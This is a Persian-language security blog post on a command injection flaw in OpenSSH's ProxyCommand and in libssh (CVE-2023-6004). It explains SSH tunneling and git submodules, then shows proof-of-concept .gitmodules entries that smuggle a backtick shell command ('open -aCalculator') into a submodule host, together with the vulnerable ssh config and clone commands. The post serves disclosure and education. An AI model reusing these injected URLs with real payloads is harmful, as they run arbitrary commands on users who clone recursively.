یه آسیب پذیری بحرانی با امتیاز 9.8 و از نوع OS command injection در دستور ProxyCommand در OpenSSH توسط محققین NSFOCUS CERT کشف و گزارش شده ، که امکان اجرای دستور دلخواه رو به مهاجم میده.
همونطور که میدونید ، SSH یا Secure Shell یا Secure Socket Shell ، یکی از روش های ارتباط امن کلاینت و سروری و انتقال فایل و … هستش و OpenSSH هم یه پیاده سازی متن باز از SSH هست.
یکی از قابلیت های مهم SSH ، ویژگی SSH Tunneling هست. SSH Tunneling روشی هستش که در اون داده های شبکه از طریق یه اتصال SSH رمزگذاری شده منتقل میشن. این روش کاربردهای مختلفی داره مثلا امکان ایجاد یه لایه رمزگذاری شده به برنامه های قدیمی رو میده، امکان پیاده سازی VPN رو میده و با توجه به اینکه IP شمارو هم مخفی میکنه، بنابراین کسی امکان شنود یا مونیتور کردن شما رو نداره و البته هکرها هم از این تکنیک برای دور زدن فایروال ها استفاده میکنن.
برای SSH Tunneling سه روش متداول وجود داره :
Local Port Forwarding : این روش زمانی استفاده میشه که ما مستقیما نمیتونیم یا نمیخواییم به یه سرور وصل بشیم. مثلا فرض کنید یه وب سرور داخل یه سازمان داریم که بطور مستقیم نمیتونیم بهش متصل بشیم و باید به یه SSH server وصل بشیم تا بهش دسترسی داشته باشیم. در حقیقت این SSH SERVER بطور مستقیم به این وب سرور متصله و ما با اتصال به این SSH Server میتونیم به این وب سرور وصل بشیم.
Remote Port Forwarding : این روش زمانی استفاده میشه که بخواییم، وقتی بقیه به سرور SSH وصل میشن، به یه کلاینت SSH متصل بشن. مثلا وقتی بخواییم منبع یه سرویس رو مخفی کنیم ، میتونیم از این روش استفاده کنیم.
Dynamic Port Forwarding : در این روش یه socks5 روی سیستم داریم و همه ترافیک ما از طریق SSH SERVER منتقل میشه. این روشی هستش که الان برای عبور از تحریم و … استفاده میشه. یکی از پیاده سازی هایی که برای این منظور انجام میشه اینجوریه که دو تا سرور خریداری میشه که یکیش سرور ایرانه و یکیش سرور خارجی. شما به سرور ایران وصل میشید و از اونجا به سرور خارج و از سرور خارج مثلا میتونید به یه صرافی رمزارز وصل بشید. با این روش هم ترافیک شما نیم بها میشه و هم اینکه میتونید اون تحریم رو دور بزنید. در این روش که برای تونل زدن به مقصد نهایی ، ما از چندین گره عبور میکنیم، اصطلاحا Multi-hop SSH Tunnel میگن.
برای پیاده سازی یه Multi-hop SSH Tunnel روش های مختلفی وجود داره که یکی از اونا استفاده از ProxyCommand هستش. برای اینکار فرض کنید ما دو تا سرور داریم، firstHop و destinationHop و روشون تنظیمات زیر رو پیکربندی کردیم :
1 2 3 |
Host firstHop Hostname x.x.x.x User root |
1 2 3 4 |
Host destinationHop Hostname y.y.y.y User root ProxyCommand ssh firstHop -W %h:%p |
خب الان ما اگه یه اتصال SSH به destinationHop ایجاد کنیم، در ابتدا به firstHop وصل میشه و پسورد اونو میخواد و بعدش به destinationHop وصل میشه و پسورد اونو میخواد. اگه به سرور destinationHop بریم، IP مبدا رو IP firstHop نشون میده و IP اصلی ما نیست.
در حقیقت ProxyCommand یه روش برای پراکسی کردن اتصالات SSH با امکان تعیین دستوراتی برای اتصال به سرور هدف هستش یا اصطلاحا روشی هستش که شما میتونید از یه سرور میانی به یه سرور دیگه بپرید. این دستور همونطور که بالا مشاهده میکنید، دارای آرگومانهایی مانند %h و %u هستش که بیانگر Hostname و نام کاربری هستش. با توجه به اینکه این آرگومانها ، دارای هیچ فیلتر امنیتی نیستن، بنابراین اگه دارای کاراکترهای خاص Shell مثلا | یا ` و … باشن و همچنین در یه زمینه ی خاصی بهشون ارجاع داده بشه، امکان اجرای دستور رو به مهاجم میدن. البته برای اکسپلویت نیاز به تعامل کاربر هم هستش.
یه سناریوهای رایج برای اکسپلویت این آسیب پذیری استفاده از یه مخزن Git غیرقابل اعتماد هستش . مهاجم میتونه یه مخزن مخرب ایجاد کنه که دارای یه Submodule با نام کاربری یا میزبان با کاراکترهای خاص shell هستش و وقتی کاربر مخزن رو بصورت recursively آپدیت میکنه، آسیب پذیری فعال بشه و مهاجم دستورات دلخواه رو روی سیستم کاربر اجرا کنه.
منظور از Submodule در گیت چیه؟ شما اگه یه برنامه ای رو بنویسید، اغلب به یسری کد یا کتابخونه ی دیگه وابستگی دارید. یکی از راه حل ها اینه که اون کدها رو کپی و پیست کنید و تو پروژه اتون ازش استفاده کنید، اما این روش یه مشکلی که داره اینه که ، اگه اون کدهای شخص ثالث بروز بشن شما دیگه دسترسی به اونها ندارید و باید دوباره برید و فرایند کپی و پیست رو انجام بدید. راه حل دیگه استفاده از Submoduleها هستش. در این روش شما کدهای شخص ثالث رو از پروژه اتون جدا نگهداری میکنید و در نتیجه میتونید اونارو راحتتر کنترل و مدیریت کنید.
برای اینکه یه مخزنی رو بعنوان Submodule به پروژه اضافه کنیم ، از دستور زیر استفاده میکنیم، در این دستور ما DbConnector رو بعنوان Submodule تعریف میکنیم :
1 |
git submodule add https://github.com/chaconinc/DbConnector |
با این کار یه فایلی بنام .gitmodules اضافه میشه که محتواش موارد زیر هستش :
1 2 3 |
[submodule "DbConnector"] path = DbConnector url = https://github.com/chaconinc/DbConnector |
حالا اگه ما بخواییم یه مخزنی گیت که دارای Submodule هستش رو کلون کنیم، یکی از روشها استفاده از دستور زیر که بصورت recursively مخزن رو کلون میکنه یعنی محتوای Submodule رو هم کلون میکنه :
1 |
git clone --recurse-submodules https://github.com/chaconinc/MainProject |
اگه برگردیم سراغ آسیب پذیری خودمون، فرض کنید ما یه کانفیگی در .ssh/config بصورت زیر داریم :
1 2 |
Host *.example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p |
اگه دستور زیر اجرا کنیم، یه ماشین حساب در سیستم OS X باز میکنه :
1 |
git clone https://github.com/vin01/poc-proxycommand-vulnerable --recurse-submodules |
چون این مخزن دارای یه Submodule به صورت زیر هستش که از کاراکترهای مورد استفاده ی Shell استفاده کرده :
1 2 3 |
[submodule "cves"] path = cves url = ssh://`open -aCalculator`foo.example.com/bar |
اگه کانفیگ رو به این صورت تغییر بدیم، یعنی آرگومانهارو داخل کوتیشن قرار بدیم :
1 2 |
Host *.example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 '%h' '%p' |
باز هم آسیب پذیر هستش، اگه قربانی این دستور رو اجرا کنه :
1 |
git clone https://github.com/vin01/poc-proxycommand-vulnerable-v2 --recurse-submodules |
که دارای یه Submodule بصورت زیر هستش :
1 2 3 |
[submodule "cves"] path = cves url = ssh://'`open -aCalculator`'foo.example.com/bar |
نسخه های تحت تاثیر :
- OpenSSH : نسخه های قبل از 9.6
- libssh : نسخه های قبل از 0.10.6 و 0.9.8 . برای LibSSH شناسه ی CVE-2023-6004 رو اختصاص دادن.
نسخه های اصلاح شده :
منبع: